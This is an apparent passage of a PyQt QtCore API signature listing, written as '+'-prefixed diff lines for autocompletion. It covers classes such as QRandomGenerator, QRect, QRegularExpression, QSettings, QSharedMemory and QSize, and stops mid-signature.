+QtCore.QProcessEnvironment.swap?4(QProcessEnvironment) +QtCore.QRandomGenerator?1(int seed=1) +QtCore.QRandomGenerator.__init__?1(self, int seed=1) +QtCore.QRandomGenerator?1(QRandomGenerator) +QtCore.QRandomGenerator.__init__?1(self, QRandomGenerator) +QtCore.QRandomGenerator.generate?4() -> int +QtCore.QRandomGenerator.generate64?4() -> int +QtCore.QRandomGenerator.generateDouble?4() -> float +QtCore.QRandomGenerator.bounded?4(float) -> float +QtCore.QRandomGenerator.bounded?4(int) -> int +QtCore.QRandomGenerator.bounded?4(int, int) -> int +QtCore.QRandomGenerator.seed?4(int seed=1) +QtCore.QRandomGenerator.discard?4(int) +QtCore.QRandomGenerator.min?4() -> int +QtCore.QRandomGenerator.max?4() -> int +QtCore.QRandomGenerator.system?4() -> QRandomGenerator +QtCore.QRandomGenerator.global_?4() -> QRandomGenerator +QtCore.QRandomGenerator.securelySeeded?4() -> QRandomGenerator +QtCore.QReadWriteLock.RecursionMode?10 +QtCore.QReadWriteLock.RecursionMode.NonRecursive?10 +QtCore.QReadWriteLock.RecursionMode.Recursive?10 +QtCore.QReadWriteLock?1(QReadWriteLock.RecursionMode recursionMode=QReadWriteLock.NonRecursive) +QtCore.QReadWriteLock.__init__?1(self, QReadWriteLock.RecursionMode recursionMode=QReadWriteLock.NonRecursive) +QtCore.QReadWriteLock.lockForRead?4() +QtCore.QReadWriteLock.tryLockForRead?4() -> bool +QtCore.QReadWriteLock.tryLockForRead?4(int) -> bool +QtCore.QReadWriteLock.lockForWrite?4() +QtCore.QReadWriteLock.tryLockForWrite?4() -> bool +QtCore.QReadWriteLock.tryLockForWrite?4(int) -> bool +QtCore.QReadWriteLock.unlock?4() +QtCore.QReadLocker?1(QReadWriteLock) +QtCore.QReadLocker.__init__?1(self, QReadWriteLock) +QtCore.QReadLocker.unlock?4() +QtCore.QReadLocker.relock?4() +QtCore.QReadLocker.readWriteLock?4() -> QReadWriteLock +QtCore.QReadLocker.__enter__?4() -> object +QtCore.QReadLocker.__exit__?4(object, object, object) +QtCore.QWriteLocker?1(QReadWriteLock) +QtCore.QWriteLocker.__init__?1(self, QReadWriteLock) +QtCore.QWriteLocker.unlock?4() +QtCore.QWriteLocker.relock?4() +QtCore.QWriteLocker.readWriteLock?4() -> QReadWriteLock +QtCore.QWriteLocker.__enter__?4() -> object +QtCore.QWriteLocker.__exit__?4(object, object, object) +QtCore.QRect?1() +QtCore.QRect.__init__?1(self) +QtCore.QRect?1(int, int, int, int) +QtCore.QRect.__init__?1(self, int, int, int, int) +QtCore.QRect?1(QPoint, QPoint) +QtCore.QRect.__init__?1(self, QPoint, QPoint) +QtCore.QRect?1(QPoint, QSize) +QtCore.QRect.__init__?1(self, QPoint, QSize) +QtCore.QRect?1(QRect) +QtCore.QRect.__init__?1(self, QRect) +QtCore.QRect.normalized?4() -> QRect +QtCore.QRect.moveCenter?4(QPoint) +QtCore.QRect.contains?4(QPoint, bool proper=False) -> bool +QtCore.QRect.contains?4(QRect, bool proper=False) -> bool +QtCore.QRect.intersects?4(QRect) -> bool +QtCore.QRect.isNull?4() -> bool +QtCore.QRect.isEmpty?4() -> bool +QtCore.QRect.isValid?4() -> bool +QtCore.QRect.left?4() -> int +QtCore.QRect.top?4() -> int +QtCore.QRect.right?4() -> int +QtCore.QRect.bottom?4() -> int +QtCore.QRect.x?4() -> int +QtCore.QRect.y?4() -> int +QtCore.QRect.setLeft?4(int) +QtCore.QRect.setTop?4(int) +QtCore.QRect.setRight?4(int) +QtCore.QRect.setBottom?4(int) +QtCore.QRect.setTopLeft?4(QPoint) +QtCore.QRect.setBottomRight?4(QPoint) +QtCore.QRect.setTopRight?4(QPoint) +QtCore.QRect.setBottomLeft?4(QPoint) +QtCore.QRect.setX?4(int) +QtCore.QRect.setY?4(int) +QtCore.QRect.topLeft?4() -> QPoint +QtCore.QRect.bottomRight?4() -> QPoint +QtCore.QRect.topRight?4() -> QPoint +QtCore.QRect.bottomLeft?4() -> QPoint +QtCore.QRect.center?4() -> QPoint +QtCore.QRect.width?4() -> int +QtCore.QRect.height?4() -> int +QtCore.QRect.size?4() -> QSize +QtCore.QRect.translate?4(int, int) +QtCore.QRect.translate?4(QPoint) +QtCore.QRect.translated?4(int, int) -> QRect +QtCore.QRect.translated?4(QPoint) -> QRect +QtCore.QRect.moveTo?4(int, int) +QtCore.QRect.moveTo?4(QPoint) +QtCore.QRect.moveLeft?4(int) +QtCore.QRect.moveTop?4(int) +QtCore.QRect.moveRight?4(int) +QtCore.QRect.moveBottom?4(int) +QtCore.QRect.moveTopLeft?4(QPoint) +QtCore.QRect.moveBottomRight?4(QPoint) +QtCore.QRect.moveTopRight?4(QPoint) +QtCore.QRect.moveBottomLeft?4(QPoint) +QtCore.QRect.getRect?4() -> (int, int, int, int) +QtCore.QRect.setRect?4(int, int, int, int) +QtCore.QRect.getCoords?4() -> (int, int, int, int) +QtCore.QRect.setCoords?4(int, int, int, int) +QtCore.QRect.adjusted?4(int, int, int, int) -> QRect +QtCore.QRect.adjust?4(int, int, int, int) +QtCore.QRect.setWidth?4(int) +QtCore.QRect.setHeight?4(int) +QtCore.QRect.setSize?4(QSize) +QtCore.QRect.contains?4(int, int, bool) -> bool +QtCore.QRect.contains?4(int, int) -> bool +QtCore.QRect.intersected?4(QRect) -> QRect +QtCore.QRect.united?4(QRect) -> QRect +QtCore.QRect.marginsAdded?4(QMargins) -> QRect +QtCore.QRect.marginsRemoved?4(QMargins) -> QRect +QtCore.QRect.transposed?4() -> QRect +QtCore.QRectF?1() +QtCore.QRectF.__init__?1(self) +QtCore.QRectF?1(QPointF, QSizeF) +QtCore.QRectF.__init__?1(self, QPointF, QSizeF) +QtCore.QRectF?1(QPointF, QPointF) +QtCore.QRectF.__init__?1(self, QPointF, QPointF) +QtCore.QRectF?1(float, float, float, float) +QtCore.QRectF.__init__?1(self, float, float, float, float) +QtCore.QRectF?1(QRect) +QtCore.QRectF.__init__?1(self, QRect) +QtCore.QRectF?1(QRectF) +QtCore.QRectF.__init__?1(self, QRectF) +QtCore.QRectF.normalized?4() -> QRectF +QtCore.QRectF.left?4() -> float +QtCore.QRectF.top?4() -> float +QtCore.QRectF.right?4() -> float +QtCore.QRectF.bottom?4() -> float +QtCore.QRectF.setX?4(float) +QtCore.QRectF.setY?4(float) +QtCore.QRectF.topLeft?4() -> QPointF +QtCore.QRectF.bottomRight?4() -> QPointF +QtCore.QRectF.topRight?4() -> QPointF +QtCore.QRectF.bottomLeft?4() -> QPointF +QtCore.QRectF.contains?4(QPointF) -> bool +QtCore.QRectF.contains?4(QRectF) -> bool +QtCore.QRectF.intersects?4(QRectF) -> bool +QtCore.QRectF.isNull?4() -> bool +QtCore.QRectF.isEmpty?4() -> bool +QtCore.QRectF.isValid?4() -> bool +QtCore.QRectF.x?4() -> float +QtCore.QRectF.y?4() -> float +QtCore.QRectF.setLeft?4(float) +QtCore.QRectF.setRight?4(float) +QtCore.QRectF.setTop?4(float) +QtCore.QRectF.setBottom?4(float) +QtCore.QRectF.setTopLeft?4(QPointF) +QtCore.QRectF.setTopRight?4(QPointF) +QtCore.QRectF.setBottomLeft?4(QPointF) +QtCore.QRectF.setBottomRight?4(QPointF) +QtCore.QRectF.center?4() -> QPointF +QtCore.QRectF.moveLeft?4(float) +QtCore.QRectF.moveTop?4(float) +QtCore.QRectF.moveRight?4(float) +QtCore.QRectF.moveBottom?4(float) +QtCore.QRectF.moveTopLeft?4(QPointF) +QtCore.QRectF.moveTopRight?4(QPointF) +QtCore.QRectF.moveBottomLeft?4(QPointF) +QtCore.QRectF.moveBottomRight?4(QPointF) +QtCore.QRectF.moveCenter?4(QPointF) +QtCore.QRectF.width?4() -> float +QtCore.QRectF.height?4() -> float +QtCore.QRectF.size?4() -> QSizeF +QtCore.QRectF.translate?4(float, float) +QtCore.QRectF.translate?4(QPointF) +QtCore.QRectF.moveTo?4(float, float) +QtCore.QRectF.moveTo?4(QPointF) +QtCore.QRectF.translated?4(float, float) -> QRectF +QtCore.QRectF.translated?4(QPointF) -> QRectF +QtCore.QRectF.getRect?4() -> (float, float, float, float) +QtCore.QRectF.setRect?4(float, float, float, float) +QtCore.QRectF.getCoords?4() -> (float, float, float, float) +QtCore.QRectF.setCoords?4(float, float, float, float) +QtCore.QRectF.adjust?4(float, float, float, float) +QtCore.QRectF.adjusted?4(float, float, float, float) -> QRectF +QtCore.QRectF.setWidth?4(float) +QtCore.QRectF.setHeight?4(float) +QtCore.QRectF.setSize?4(QSizeF) +QtCore.QRectF.contains?4(float, float) -> bool +QtCore.QRectF.intersected?4(QRectF) -> QRectF +QtCore.QRectF.united?4(QRectF) -> QRectF +QtCore.QRectF.toAlignedRect?4() -> QRect +QtCore.QRectF.toRect?4() -> QRect +QtCore.QRectF.marginsAdded?4(QMarginsF) -> QRectF +QtCore.QRectF.marginsRemoved?4(QMarginsF) -> QRectF +QtCore.QRectF.transposed?4() -> QRectF +QtCore.QRegExp.CaretMode?10 +QtCore.QRegExp.CaretMode.CaretAtZero?10 +QtCore.QRegExp.CaretMode.CaretAtOffset?10 +QtCore.QRegExp.CaretMode.CaretWontMatch?10 +QtCore.QRegExp.PatternSyntax?10 +QtCore.QRegExp.PatternSyntax.RegExp?10 +QtCore.QRegExp.PatternSyntax.RegExp2?10 +QtCore.QRegExp.PatternSyntax.Wildcard?10 +QtCore.QRegExp.PatternSyntax.FixedString?10 +QtCore.QRegExp.PatternSyntax.WildcardUnix?10 +QtCore.QRegExp.PatternSyntax.W3CXmlSchema11?10 +QtCore.QRegExp?1() +QtCore.QRegExp.__init__?1(self) +QtCore.QRegExp?1(QString, Qt.CaseSensitivity cs=Qt.CaseSensitive, QRegExp.PatternSyntax syntax=QRegExp.RegExp) +QtCore.QRegExp.__init__?1(self, QString, Qt.CaseSensitivity cs=Qt.CaseSensitive, QRegExp.PatternSyntax syntax=QRegExp.RegExp) +QtCore.QRegExp?1(QRegExp) +QtCore.QRegExp.__init__?1(self, QRegExp) +QtCore.QRegExp.isEmpty?4() -> bool +QtCore.QRegExp.isValid?4() -> bool +QtCore.QRegExp.pattern?4() -> QString +QtCore.QRegExp.setPattern?4(QString) +QtCore.QRegExp.caseSensitivity?4() -> Qt.CaseSensitivity +QtCore.QRegExp.setCaseSensitivity?4(Qt.CaseSensitivity) +QtCore.QRegExp.patternSyntax?4() -> QRegExp.PatternSyntax +QtCore.QRegExp.setPatternSyntax?4(QRegExp.PatternSyntax) +QtCore.QRegExp.isMinimal?4() -> bool +QtCore.QRegExp.setMinimal?4(bool) +QtCore.QRegExp.exactMatch?4(QString) -> bool +QtCore.QRegExp.indexIn?4(QString, int offset=0, QRegExp.CaretMode caretMode=QRegExp.CaretAtZero) -> int +QtCore.QRegExp.lastIndexIn?4(QString, int offset=-1, QRegExp.CaretMode caretMode=QRegExp.CaretAtZero) -> int +QtCore.QRegExp.matchedLength?4() -> int +QtCore.QRegExp.capturedTexts?4() -> QStringList +QtCore.QRegExp.cap?4(int nth=0) -> QString +QtCore.QRegExp.pos?4(int nth=0) -> int +QtCore.QRegExp.errorString?4() -> QString +QtCore.QRegExp.escape?4(QString) -> QString +QtCore.QRegExp.captureCount?4() -> int +QtCore.QRegExp.swap?4(QRegExp) +QtCore.QRegularExpression.MatchOption?10 +QtCore.QRegularExpression.MatchOption.NoMatchOption?10 +QtCore.QRegularExpression.MatchOption.AnchoredMatchOption?10 +QtCore.QRegularExpression.MatchOption.DontCheckSubjectStringMatchOption?10 +QtCore.QRegularExpression.MatchType?10 +QtCore.QRegularExpression.MatchType.NormalMatch?10 +QtCore.QRegularExpression.MatchType.PartialPreferCompleteMatch?10 +QtCore.QRegularExpression.MatchType.PartialPreferFirstMatch?10 +QtCore.QRegularExpression.MatchType.NoMatch?10 +QtCore.QRegularExpression.PatternOption?10 +QtCore.QRegularExpression.PatternOption.NoPatternOption?10 +QtCore.QRegularExpression.PatternOption.CaseInsensitiveOption?10 +QtCore.QRegularExpression.PatternOption.DotMatchesEverythingOption?10 +QtCore.QRegularExpression.PatternOption.MultilineOption?10 +QtCore.QRegularExpression.PatternOption.ExtendedPatternSyntaxOption?10 +QtCore.QRegularExpression.PatternOption.InvertedGreedinessOption?10 +QtCore.QRegularExpression.PatternOption.DontCaptureOption?10 +QtCore.QRegularExpression.PatternOption.UseUnicodePropertiesOption?10 +QtCore.QRegularExpression.PatternOption.OptimizeOnFirstUsageOption?10 +QtCore.QRegularExpression.PatternOption.DontAutomaticallyOptimizeOption?10 +QtCore.QRegularExpression?1() +QtCore.QRegularExpression.__init__?1(self) +QtCore.QRegularExpression?1(QString, QRegularExpression.PatternOptions options=QRegularExpression.NoPatternOption) +QtCore.QRegularExpression.__init__?1(self, QString, QRegularExpression.PatternOptions options=QRegularExpression.NoPatternOption) +QtCore.QRegularExpression?1(QRegularExpression) +QtCore.QRegularExpression.__init__?1(self, QRegularExpression) +QtCore.QRegularExpression.patternOptions?4() -> QRegularExpression.PatternOptions +QtCore.QRegularExpression.setPatternOptions?4(QRegularExpression.PatternOptions) +QtCore.QRegularExpression.swap?4(QRegularExpression) +QtCore.QRegularExpression.pattern?4() -> QString +QtCore.QRegularExpression.setPattern?4(QString) +QtCore.QRegularExpression.isValid?4() -> bool +QtCore.QRegularExpression.patternErrorOffset?4() -> int +QtCore.QRegularExpression.errorString?4() -> QString +QtCore.QRegularExpression.captureCount?4() -> int +QtCore.QRegularExpression.match?4(QString, int offset=0, QRegularExpression.MatchType matchType=QRegularExpression.NormalMatch, QRegularExpression.MatchOptions matchOptions=QRegularExpression.NoMatchOption) -> QRegularExpressionMatch +QtCore.QRegularExpression.globalMatch?4(QString, int offset=0, QRegularExpression.MatchType matchType=QRegularExpression.NormalMatch, QRegularExpression.MatchOptions matchOptions=QRegularExpression.NoMatchOption) -> QRegularExpressionMatchIterator +QtCore.QRegularExpression.escape?4(QString) -> QString +QtCore.QRegularExpression.namedCaptureGroups?4() -> QStringList +QtCore.QRegularExpression.optimize?4() +QtCore.QRegularExpression.wildcardToRegularExpression?4(QString) -> QString +QtCore.QRegularExpression.anchoredPattern?4(QString) -> QString +QtCore.QRegularExpression.PatternOptions?1() +QtCore.QRegularExpression.PatternOptions.__init__?1(self) +QtCore.QRegularExpression.PatternOptions?1(int) +QtCore.QRegularExpression.PatternOptions.__init__?1(self, int) +QtCore.QRegularExpression.PatternOptions?1(QRegularExpression.PatternOptions) +QtCore.QRegularExpression.PatternOptions.__init__?1(self, QRegularExpression.PatternOptions) +QtCore.QRegularExpression.MatchOptions?1() +QtCore.QRegularExpression.MatchOptions.__init__?1(self) +QtCore.QRegularExpression.MatchOptions?1(int) +QtCore.QRegularExpression.MatchOptions.__init__?1(self, int) +QtCore.QRegularExpression.MatchOptions?1(QRegularExpression.MatchOptions) +QtCore.QRegularExpression.MatchOptions.__init__?1(self, QRegularExpression.MatchOptions) +QtCore.QRegularExpressionMatch?1() +QtCore.QRegularExpressionMatch.__init__?1(self) +QtCore.QRegularExpressionMatch?1(QRegularExpressionMatch) +QtCore.QRegularExpressionMatch.__init__?1(self, QRegularExpressionMatch) +QtCore.QRegularExpressionMatch.swap?4(QRegularExpressionMatch) +QtCore.QRegularExpressionMatch.regularExpression?4() -> QRegularExpression +QtCore.QRegularExpressionMatch.matchType?4() -> QRegularExpression.MatchType +QtCore.QRegularExpressionMatch.matchOptions?4() -> QRegularExpression.MatchOptions +QtCore.QRegularExpressionMatch.hasMatch?4() -> bool +QtCore.QRegularExpressionMatch.hasPartialMatch?4() -> bool +QtCore.QRegularExpressionMatch.isValid?4() -> bool +QtCore.QRegularExpressionMatch.lastCapturedIndex?4() -> int +QtCore.QRegularExpressionMatch.captured?4(int nth=0) -> QString +QtCore.QRegularExpressionMatch.captured?4(QString) -> QString +QtCore.QRegularExpressionMatch.capturedTexts?4() -> QStringList +QtCore.QRegularExpressionMatch.capturedStart?4(int nth=0) -> int +QtCore.QRegularExpressionMatch.capturedLength?4(int nth=0) -> int +QtCore.QRegularExpressionMatch.capturedEnd?4(int nth=0) -> int +QtCore.QRegularExpressionMatch.capturedStart?4(QString) -> int +QtCore.QRegularExpressionMatch.capturedLength?4(QString) -> int +QtCore.QRegularExpressionMatch.capturedEnd?4(QString) -> int +QtCore.QRegularExpressionMatchIterator?1() +QtCore.QRegularExpressionMatchIterator.__init__?1(self) +QtCore.QRegularExpressionMatchIterator?1(QRegularExpressionMatchIterator) +QtCore.QRegularExpressionMatchIterator.__init__?1(self, QRegularExpressionMatchIterator) +QtCore.QRegularExpressionMatchIterator.swap?4(QRegularExpressionMatchIterator) +QtCore.QRegularExpressionMatchIterator.isValid?4() -> bool +QtCore.QRegularExpressionMatchIterator.hasNext?4() -> bool +QtCore.QRegularExpressionMatchIterator.next?4() -> QRegularExpressionMatch +QtCore.QRegularExpressionMatchIterator.peekNext?4() -> QRegularExpressionMatch +QtCore.QRegularExpressionMatchIterator.regularExpression?4() -> QRegularExpression +QtCore.QRegularExpressionMatchIterator.matchType?4() -> QRegularExpression.MatchType +QtCore.QRegularExpressionMatchIterator.matchOptions?4() -> QRegularExpression.MatchOptions +QtCore.QResource.Compression?10 +QtCore.QResource.Compression.NoCompression?10 +QtCore.QResource.Compression.ZlibCompression?10 +QtCore.QResource.Compression.ZstdCompression?10 +QtCore.QResource?1(QString fileName='', QLocale locale=QLocale()) +QtCore.QResource.__init__?1(self, QString fileName='', QLocale locale=QLocale()) +QtCore.QResource.absoluteFilePath?4() -> QString +QtCore.QResource.data?4() -> object +QtCore.QResource.fileName?4() -> QString +QtCore.QResource.isCompressed?4() -> bool +QtCore.QResource.isValid?4() -> bool +QtCore.QResource.locale?4() -> QLocale +QtCore.QResource.setFileName?4(QString) +QtCore.QResource.setLocale?4(QLocale) +QtCore.QResource.size?4() -> int +QtCore.QResource.registerResource?4(QString, QString mapRoot='') -> bool +QtCore.QResource.registerResourceData?4(bytes, QString mapRoot='') -> bool +QtCore.QResource.unregisterResource?4(QString, QString mapRoot='') -> bool +QtCore.QResource.unregisterResourceData?4(bytes, QString mapRoot='') -> bool +QtCore.QResource.children?4() -> QStringList +QtCore.QResource.isDir?4() -> bool +QtCore.QResource.isFile?4() -> bool +QtCore.QResource.lastModified?4() -> QDateTime +QtCore.QResource.compressionAlgorithm?4() -> QResource.Compression +QtCore.QResource.uncompressedSize?4() -> int +QtCore.QResource.uncompressedData?4() -> QByteArray +QtCore.QRunnable?1() +QtCore.QRunnable.__init__?1(self) +QtCore.QRunnable?1(QRunnable) +QtCore.QRunnable.__init__?1(self, QRunnable) +QtCore.QRunnable.run?4() +QtCore.QRunnable.autoDelete?4() -> bool +QtCore.QRunnable.setAutoDelete?4(bool) +QtCore.QRunnable.create?4(callable) -> QRunnable +QtCore.QSaveFile?1(QString) +QtCore.QSaveFile.__init__?1(self, QString) +QtCore.QSaveFile?1(QObject parent=None) +QtCore.QSaveFile.__init__?1(self, QObject parent=None) +QtCore.QSaveFile?1(QString, QObject) +QtCore.QSaveFile.__init__?1(self, QString, QObject) +QtCore.QSaveFile.fileName?4() -> QString +QtCore.QSaveFile.setFileName?4(QString) +QtCore.QSaveFile.open?4(QIODevice.OpenMode) -> bool +QtCore.QSaveFile.commit?4() -> bool +QtCore.QSaveFile.cancelWriting?4() +QtCore.QSaveFile.setDirectWriteFallback?4(bool) +QtCore.QSaveFile.directWriteFallback?4() -> bool +QtCore.QSaveFile.writeData?4(bytes) -> int +QtCore.QSemaphore?1(int n=0) +QtCore.QSemaphore.__init__?1(self, int n=0) +QtCore.QSemaphore.acquire?4(int n=1) +QtCore.QSemaphore.tryAcquire?4(int n=1) -> bool +QtCore.QSemaphore.tryAcquire?4(int, int) -> bool +QtCore.QSemaphore.release?4(int n=1) +QtCore.QSemaphore.available?4() -> int +QtCore.QSemaphoreReleaser?1() +QtCore.QSemaphoreReleaser.__init__?1(self) +QtCore.QSemaphoreReleaser?1(QSemaphore, int n=1) +QtCore.QSemaphoreReleaser.__init__?1(self, QSemaphore, int n=1) +QtCore.QSemaphoreReleaser.swap?4(QSemaphoreReleaser) +QtCore.QSemaphoreReleaser.semaphore?4() -> QSemaphore +QtCore.QSemaphoreReleaser.cancel?4() -> QSemaphore +QtCore.QSequentialAnimationGroup?1(QObject parent=None) +QtCore.QSequentialAnimationGroup.__init__?1(self, QObject parent=None) +QtCore.QSequentialAnimationGroup.addPause?4(int) -> QPauseAnimation +QtCore.QSequentialAnimationGroup.insertPause?4(int, int) -> QPauseAnimation +QtCore.QSequentialAnimationGroup.currentAnimation?4() -> QAbstractAnimation +QtCore.QSequentialAnimationGroup.duration?4() -> int +QtCore.QSequentialAnimationGroup.currentAnimationChanged?4(QAbstractAnimation) +QtCore.QSequentialAnimationGroup.event?4(QEvent) -> bool +QtCore.QSequentialAnimationGroup.updateCurrentTime?4(int) +QtCore.QSequentialAnimationGroup.updateState?4(QAbstractAnimation.State, QAbstractAnimation.State) +QtCore.QSequentialAnimationGroup.updateDirection?4(QAbstractAnimation.Direction) +QtCore.QSettings.Scope?10 +QtCore.QSettings.Scope.UserScope?10 +QtCore.QSettings.Scope.SystemScope?10 +QtCore.QSettings.Format?10 +QtCore.QSettings.Format.NativeFormat?10 +QtCore.QSettings.Format.IniFormat?10 +QtCore.QSettings.Format.InvalidFormat?10 +QtCore.QSettings.Status?10 +QtCore.QSettings.Status.NoError?10 +QtCore.QSettings.Status.AccessError?10 +QtCore.QSettings.Status.FormatError?10 +QtCore.QSettings?1(QString, QString application='', QObject parent=None) +QtCore.QSettings.__init__?1(self, QString, QString application='', QObject parent=None) +QtCore.QSettings?1(QSettings.Scope, QString, QString application='', QObject parent=None) +QtCore.QSettings.__init__?1(self, QSettings.Scope, QString, QString application='', QObject parent=None) +QtCore.QSettings?1(QSettings.Format, QSettings.Scope, QString, QString application='', QObject parent=None) +QtCore.QSettings.__init__?1(self, QSettings.Format, QSettings.Scope, QString, QString application='', QObject parent=None) +QtCore.QSettings?1(QString, QSettings.Format, QObject parent=None) +QtCore.QSettings.__init__?1(self, QString, QSettings.Format, QObject parent=None) +QtCore.QSettings?1(QSettings.Scope, QObject parent=None) +QtCore.QSettings.__init__?1(self, QSettings.Scope, QObject parent=None) +QtCore.QSettings?1(QObject parent=None) +QtCore.QSettings.__init__?1(self, QObject parent=None) +QtCore.QSettings.clear?4() +QtCore.QSettings.sync?4() +QtCore.QSettings.status?4() -> QSettings.Status +QtCore.QSettings.beginGroup?4(QString) +QtCore.QSettings.endGroup?4() +QtCore.QSettings.group?4() -> QString +QtCore.QSettings.beginReadArray?4(QString) -> int +QtCore.QSettings.beginWriteArray?4(QString, int size=-1) +QtCore.QSettings.endArray?4() +QtCore.QSettings.setArrayIndex?4(int) +QtCore.QSettings.allKeys?4() -> QStringList +QtCore.QSettings.childKeys?4() -> QStringList +QtCore.QSettings.childGroups?4() -> QStringList +QtCore.QSettings.isWritable?4() -> bool +QtCore.QSettings.setValue?4(QString, QVariant) +QtCore.QSettings.value?4(QString, QVariant defaultValue=None, object type=None) -> object +QtCore.QSettings.remove?4(QString) +QtCore.QSettings.contains?4(QString) -> bool +QtCore.QSettings.setFallbacksEnabled?4(bool) +QtCore.QSettings.fallbacksEnabled?4() -> bool +QtCore.QSettings.fileName?4() -> QString +QtCore.QSettings.setPath?4(QSettings.Format, QSettings.Scope, QString) +QtCore.QSettings.format?4() -> QSettings.Format +QtCore.QSettings.scope?4() -> QSettings.Scope +QtCore.QSettings.organizationName?4() -> QString +QtCore.QSettings.applicationName?4() -> QString +QtCore.QSettings.setDefaultFormat?4(QSettings.Format) +QtCore.QSettings.defaultFormat?4() -> QSettings.Format +QtCore.QSettings.setIniCodec?4(QTextCodec) +QtCore.QSettings.setIniCodec?4(str) +QtCore.QSettings.iniCodec?4() -> QTextCodec +QtCore.QSettings.isAtomicSyncRequired?4() -> bool +QtCore.QSettings.setAtomicSyncRequired?4(bool) +QtCore.QSettings.event?4(QEvent) -> bool +QtCore.QSharedMemory.SharedMemoryError?10 +QtCore.QSharedMemory.SharedMemoryError.NoError?10 +QtCore.QSharedMemory.SharedMemoryError.PermissionDenied?10 +QtCore.QSharedMemory.SharedMemoryError.InvalidSize?10 +QtCore.QSharedMemory.SharedMemoryError.KeyError?10 +QtCore.QSharedMemory.SharedMemoryError.AlreadyExists?10 +QtCore.QSharedMemory.SharedMemoryError.NotFound?10 +QtCore.QSharedMemory.SharedMemoryError.LockError?10 +QtCore.QSharedMemory.SharedMemoryError.OutOfResources?10 +QtCore.QSharedMemory.SharedMemoryError.UnknownError?10 +QtCore.QSharedMemory.AccessMode?10 +QtCore.QSharedMemory.AccessMode.ReadOnly?10 +QtCore.QSharedMemory.AccessMode.ReadWrite?10 +QtCore.QSharedMemory?1(QObject parent=None) +QtCore.QSharedMemory.__init__?1(self, QObject parent=None) +QtCore.QSharedMemory?1(QString, QObject parent=None) +QtCore.QSharedMemory.__init__?1(self, QString, QObject parent=None) +QtCore.QSharedMemory.setKey?4(QString) +QtCore.QSharedMemory.key?4() -> QString +QtCore.QSharedMemory.create?4(int, QSharedMemory.AccessMode mode=QSharedMemory.ReadWrite) -> bool +QtCore.QSharedMemory.size?4() -> int +QtCore.QSharedMemory.attach?4(QSharedMemory.AccessMode mode=QSharedMemory.ReadWrite) -> bool +QtCore.QSharedMemory.isAttached?4() -> bool +QtCore.QSharedMemory.detach?4() -> bool +QtCore.QSharedMemory.data?4() -> object +QtCore.QSharedMemory.constData?4() -> object +QtCore.QSharedMemory.lock?4() -> bool +QtCore.QSharedMemory.unlock?4() -> bool +QtCore.QSharedMemory.error?4() -> QSharedMemory.SharedMemoryError +QtCore.QSharedMemory.errorString?4() -> QString +QtCore.QSharedMemory.setNativeKey?4(QString) +QtCore.QSharedMemory.nativeKey?4() -> QString +QtCore.QSignalMapper?1(QObject parent=None) +QtCore.QSignalMapper.__init__?1(self, QObject parent=None) +QtCore.QSignalMapper.setMapping?4(QObject, int) +QtCore.QSignalMapper.setMapping?4(QObject, QString) +QtCore.QSignalMapper.setMapping?4(QObject, QWidget) +QtCore.QSignalMapper.setMapping?4(QObject, QObject) +QtCore.QSignalMapper.removeMappings?4(QObject) +QtCore.QSignalMapper.mapping?4(int) -> QObject +QtCore.QSignalMapper.mapping?4(QString) -> QObject +QtCore.QSignalMapper.mapping?4(QWidget) -> QObject +QtCore.QSignalMapper.mapping?4(QObject) -> QObject +QtCore.QSignalMapper.mapped?4(int) +QtCore.QSignalMapper.mapped?4(QString) +QtCore.QSignalMapper.mapped?4(QWidget) +QtCore.QSignalMapper.mapped?4(QObject) +QtCore.QSignalMapper.mappedInt?4(int) +QtCore.QSignalMapper.mappedString?4(QString) +QtCore.QSignalMapper.mappedWidget?4(QWidget) +QtCore.QSignalMapper.mappedObject?4(QObject) +QtCore.QSignalMapper.map?4() +QtCore.QSignalMapper.map?4(QObject) +QtCore.QSignalTransition?1(QState sourceState=None) +QtCore.QSignalTransition.__init__?1(self, QState sourceState=None) +QtCore.QSignalTransition?1(object, QState sourceState=None) +QtCore.QSignalTransition.__init__?1(self, object, QState sourceState=None) +QtCore.QSignalTransition.senderObject?4() -> QObject +QtCore.QSignalTransition.setSenderObject?4(QObject) +QtCore.QSignalTransition.signal?4() -> QByteArray +QtCore.QSignalTransition.setSignal?4(QByteArray) +QtCore.QSignalTransition.eventTest?4(QEvent) -> bool +QtCore.QSignalTransition.onTransition?4(QEvent) +QtCore.QSignalTransition.event?4(QEvent) -> bool +QtCore.QSignalTransition.senderObjectChanged?4() +QtCore.QSignalTransition.signalChanged?4() +QtCore.QSize?1() +QtCore.QSize.__init__?1(self) +QtCore.QSize?1(int, int) +QtCore.QSize.__init__?1(self, int, int) +QtCore.QSize?1(QSize) +QtCore.QSize.__init__?1(self, QSize) +QtCore.QSize.transpose?4() +QtCore.QSize.scale?4(QSize, Qt.AspectRatioMode) +QtCore.QSize.isNull?4() -> bool +QtCore.QSize.isEmpty?4() -> bool +QtCore.QSize.isValid?4() -> bool +QtCore.QSize.width?4() -> int +QtCore.QSize.height?4() -> int +QtCore.QSize.setWidth?4(int) +QtCore.QSize.setHeight?4(int) +QtCore.QSize.scale?4(int, int, Qt.AspectRatioMode) +QtCore.QSize.expandedTo?4(QSize) -> QSize +QtCore.QSize.boundedTo?4(QSize) -> QSize +QtCore.QSize.scaled?4(QSize, Qt.AspectRatioMode) -> QSize +QtCore.QSize.scaled?4(int, int, Qt.AspectRatioMode) -> QSize +QtCore.QSize.transposed?4() -> QSize +QtCore.QSize.grownBy?4(QMargins) -> QSize +QtCore.QSize.shrunkBy?4(QMargins) -> QSize +QtCore.QSizeF?1() +QtCore.QSizeF.__init__?1(self) +QtCore.QSizeF?1(QSize) +QtCore.QSizeF.__init__?1(self, QSize) +QtCore.QSizeF?1(float, float) +QtCore.QSizeF.__init__?1(self, float, float) +QtCore.QSizeF?1(QSizeF) +QtCore.QSizeF.__init__?1(self, QSizeF) +QtCore.QSizeF.transpose?4() +QtCore.QSizeF.scale?4(QSizeF, Qt.AspectRatioMode) +QtCore.QSizeF.isNull?4() -> bool +QtCore.QSizeF.isEmpty?4() -> bool +QtCore.QSizeF.isValid?4() -> bool +QtCore.QSizeF.width?4() -> float +QtCore.QSizeF.height?4() -> float +QtCore.QSizeF.setWidth?4(float) +QtCore.QSizeF.setHeight?4(float) +QtCore.QSizeF.scale?4(float, float, Qt.AspectRatioMode) +QtCore.QSizeF.expandedTo?4(QSizeF) -> QSizeF +QtCore.QSizeF.boundedTo?4(QSizeF) -> QSizeF +QtCore.QSizeF.toSize?4() -> QSize +QtCore.QSizeF.scaled?4(QSizeF, Qt.AspectRatioMode) -> QSizeF +QtCore.QSizeF.scaled?4(float, float, 